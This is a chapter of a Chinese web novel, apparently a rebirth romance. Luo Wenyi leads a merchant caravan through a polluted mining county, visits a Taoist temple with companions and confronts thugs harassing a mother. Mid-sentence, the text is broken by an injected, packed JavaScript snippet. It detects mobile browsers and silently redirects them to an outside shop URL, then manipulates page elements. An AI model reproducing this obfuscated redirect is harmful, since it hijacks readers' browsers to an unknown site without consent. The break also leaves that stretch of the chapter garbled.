不得不说,适才骆文漪与薛鸣野说话,是故作镇定来着,她怕露出丝毫破绽,破坏掉在两人之间,好不容易建立起的平和。
骆文漪收起心神,乖乖地去给父亲倒茶,“父亲,有什么事?”
骆万川用探究地眼神看着女儿,眼底是不可言说的担忧。
他是了解自家女儿的,即便女儿在竭力掩饰,他心中倒是纳闷,这薛家人到底有何魅力?她女儿怎么就可院里的树。
“怎么了?”见父亲不说话,骆文漪有些担忧,以为是有什么大事。
“我们得改道,从青川的小路走。”
骆文漪点点头,她自知此次的凶险,不仅人要平安到达,货也不能出差错。
虽说华京有人坐镇,但非但不得已,不能亮出这张底牌。
“我和你表哥得先行一步,届时你和赵成带队,能做到吗?”
骆文漪心里一紧,她从来没带过队,只是总是听母亲,讲父亲和大伯从商的故事。
虽然没做过这事,但也没什么好怕的,就像是重生这一路的经历,是曾垂死病榻的她,完全不能想象的。
“可以。”
“我得嘱咐你两句,咱们这商队里面,有贵人,不能让人家受任何怠慢。”
“我知道了父亲,你放心吧。”
骆万川又同女儿交代了一些商队事宜,这才放心。
夜幕降临,骆文漪做事细致,去清点了商队的货物,确保暗格里的东西无误,这才放心地去用饭。
杨绣开心地来找她:“漪漪啊,听说这里的玄真观很灵,我想要去拜拜,你陪我去呗。”
“好啊。”骆文漪自是没有拒绝的道理,不过他们这些在海边长大的,生来信奉海神娘娘,自然不能拜其他,逛逛还是可以的。
海神娘娘很大度,至少对她是这样的。
但两个姑娘夜行实在让人不放心,本来打算带两个侍卫去的,但萧千帆耳朵很灵,也不知怎么知道的,非说他和薛鸣野也一起去。
县主一脸嫌弃,但也不是不能接受。
华灯初上,主街人来人往,骆文漪和县主走在前面,青州人都很热情,不用担心迷路,在街上随便一个人都能给指路。
玄真观并不远,在青山脚下,来往的宾客络绎不绝,院中有颗月老树,上面挂满了红线,男男女女在树下祈福。
不止有求姻缘的,求仕途,求学业,求什么的都有。
四人初来乍到,还不懂其中的规矩,就并肩站着,在人群后面四处观察。
“漪漪,你有没有什么心愿?”杨绣突然发问。
几人视线齐刷刷地落在骆文漪身上,但薛鸣野有些黯然。
骆文漪耸了耸肩,“没有。”她最大的心愿都已经了结,往后的日子有什么苦难,福报,那都是后面的事,自然要放在后面再说。
福王点着扇子,不小心碰到县主的胳膊,县主皱眉怒视着他,他稳稳地接住那目光,显得没脸没皮地说:“嗐,我们骆姑娘是苦尽甘来,日后皆是坦途。”
骆文漪眼眉一挑,“多谢。”
萧千帆转而看向薛鸣野,“三郎有什么愿望。”
“我的愿望是,你别叫我三郎。”
薛鸣野往萧千帆反方向挪了一步,萧千帆倒是穷追不舍,用扇子轻拍着他的肩膀。
骆文漪和杨绣忍俊不禁,不去理会两个幼稚的男人,到里面祈福。
杨绣跪在蒲团上,有样学样地诚心跪拜,骆文漪陪在她身边,收敛目光,心怀敬畏,但门外的两位不信这些,并肩站着。
“哎,三郎,你真的没有心愿?”萧千帆一眼看穿地说。
“有。”薛鸣野顿了顿,“但我自己能实现。”
“哎呀,这么厉害,你有没有想过,去我那里,做我的幕僚?”
薛鸣野缓缓地看向他,眼神带着几分探究的意味,福王实在是太反常了。
两人前世可是互相看不顺眼的关系,重来一世,什么都好像有些不同,比如他单方面地看福王碍眼。
“呵,不知殿下看上我什么了,要让我这样名声的人做幕僚?”
“哎,别以为我不知道,你可是定国公教出来的,肯定是错不了,至于出身嘛,别看我生在皇家,可我出身也不好。”
萧千帆的母亲是被皇帝看上的,善于骑射的驯马女,还没混个位份就被毒害。
萧千帆身子弱,在皇宫日子也是如履薄冰,于皇后并不待见他,好在太子对他不错。
但有了封地还是偏远的福州,八百年不得入一次宫,每次入宫都是大事,像他这种被排斥的宗室,多一个幕僚就多条路嘛。
“怎么样?考虑一下,我的封地离泉州不远哦。”萧千帆循循善诱,狠狠地拿住薛鸣野的心,“难道你还想回华京啊?那侯府有什么好的。”
薛鸣野没说话,他倒是可以答应福王,可离泉州不远,又不是在泉州。
“你在想什么,你不会是想入赘,吃骆姑娘的软饭吧。”
薛鸣野眉头一皱,狠狠地白了福王一眼,这事不算不光彩,倒是提醒了他。
他可以做赘婿啊,他是愿意呢,但怎么能打动骆文漪的心,有点难,但知难而退不是他的行事风格。
说话间,两位姑娘从里面出来,萧千帆立马站直,用扇子捂住嘴,就当什么都没说。
薛鸣野跟在骆文漪后面走了。
“啧,这人。”萧千帆无语地扶额,也跟了上去。
-
天将明,商队重整出发,骆文漪在面前坐镇,就不能坐轿子里了,如此一来,县主觉得自己也实在无聊,于是陪她一起骑马在前。
两个姑娘在商队前面,容易惹眼,于是戴上面纱,穿过山林。
商队最能见证世间人情冷暖,从繁华城市到偏僻村庄,不同地方的人过着完全不同的生活,富贵的人坐在宅子里都是富贵命,穷苦人弯着腰苦干也会朝不保夕,晋朝这么大,这样的情形,实在太多。
才子寒窗苦读多少年能走上仕途,历练多久能出个好官,从京城到各府州县,要多少年?治理又要多少年?
年复一年,总有人家等不起。
更何况东海诸国还蠢蠢欲动,试图跨越海洋,征服晋朝。
“赵成,前面是什么地方?”
“少东家。”赵成握着舆图,“前面是青川县。”
青川县三十里的霜山谷里有一个矿场,周围建立了一座大型的火器场,这些年来越发地扩建,导致周围村庄州县乌烟瘴气的。
“好。”骆文漪手一指,“派前哨去探,若无异常,在县中落脚。”
“是!”
原本他们不需要走青川县这条路,穷山僻壤难免遭贼,但没办法,不遇小贼就得遇大贼,到时候不是丢了两箱货那么简单。
前哨找了个客栈,一切安排妥当,城中百姓都听说有钱的商队进城,在街道两边,默默地注视着。
骆文漪骑马在前,刚一入城就有股浓
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17758440|208177||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
烟味。
马儿经过时,恰好看到街边的人,一个个形如枯槁,尽是老弱病残,要么双眼无神,要么浑身戾气,见到他们都像是困兽看到猎物。
遇到乞丐们拦路,骆文漪忍住想要给钱的冲动,因为父亲交代过,只要给一个铜钱,就会被四面八方的人围住,众目睽睽之下不可乱发善心。
在客栈修整后,骆文漪换了一身布衣,梳了个利落的发髻,但这根本遮掩不住她如月的面容,倒是别有素净之美。
孙嬷嬷马上去安排饭菜,春安和梅儿跟着其他家仆去准备做饭,期间她觉得无聊,便到街上去逛逛。
作为领队,她需要探查信息,又是四人一起同行,薛鸣野乖乖地跟上来,“姐姐。”
福王和县主不可置信的表情见鬼了一样,齐刷刷地看向薛鸣野。
薛鸣野这张脸,长得很有攻击性,那双隐藏在深邃眼窝下的碧玉色眸子,在不笑不语时,就像是伺机待发的狼。
但他笑了,还带着讨好的笑,嘴里叫着姐姐,仿若两人是这世间最亲昵的人,就比娘子还要肉麻。
福王和县主迫不及待地想要看看骆文漪作何感想。
骆文漪只是抬了抬颌,欣然接受。
乌云遮蔽天日,夜幕降临,空气中有一种焦糊味道,街边乞丐捂住口鼻,咳嗽不止,抓住骆文漪的裙子,伸出如焦炭一般的手。
这里没有人可以给,还未等骆文漪弯腰,薛鸣野先往破碗里放进一个铜钱,顺手将骆文漪拉到身侧。
“这附近应该是有一个巨大的冶铁场。”县主环绕四周说道,“今日我在街上,看到许多人,面色都像是有肺病。”
“是了。今日喝的水有锈味。”骆文漪点点头,她从泉州北上时,见到很多这样的村庄,那时候忙着赶路,便也没有探究。
听两位姑娘说完话,福王和薛鸣野对上眼神,又不约而同地移开。
穷乡僻壤之中,藏着日夜赶工的矿场和冶铁场,偏偏是在青州的边界,而青州是晋王的封地。
不远处传来吵闹声,一群地痞流氓围着一个妇人,她怀里还抱着孩子,跪地苦苦求饶。
“钱呢!”
“求求你们了,我真的没有钱。”
“你男人从场里跑了,他的活没人干,你知道我们每日折损多少吗?啊?”流氓扬声道。
见此情行,骆文漪刚要动,薛鸣野和福王就挡在了她的前面,上前去与地痞对峙。
走近一看才知道,这孩子已在妇人怀里奄奄一息,若再不救治,恐怕就要咽气了。
杨绣当然看不了这样的情形,三两步上前蹲在妇人前,“放心,我是医师,给我看看?”
“喂!你们是从哪冒出来的?”为首的那个带着棕色头巾,脸上横亘着一条刀疤,一副凶神恶煞的模样。
“你管呢。”薛鸣野气势比他还盛。
头巾刀疤骂了一句难听的脏话,刚要走上前,与薛鸣野对视。
剑拔弩张之间,福王挡在薛鸣野前面,抖开扇子,横在两人之间。
“兄弟,和气生财,她欠你多少钱,我替她还债。”
“哎呦,你算什么东西?”
薛鸣野:“别跟他废话。”
人生地不熟,不可节外生枝,骆文漪在后面说:“三郎,回来。”
薛鸣野紧了紧拳头,转身回去,萧千帆笑了一声,也收扇子回去。
“哎呦,后面的美人,看你眼生啊,没见过,要不认识认识?”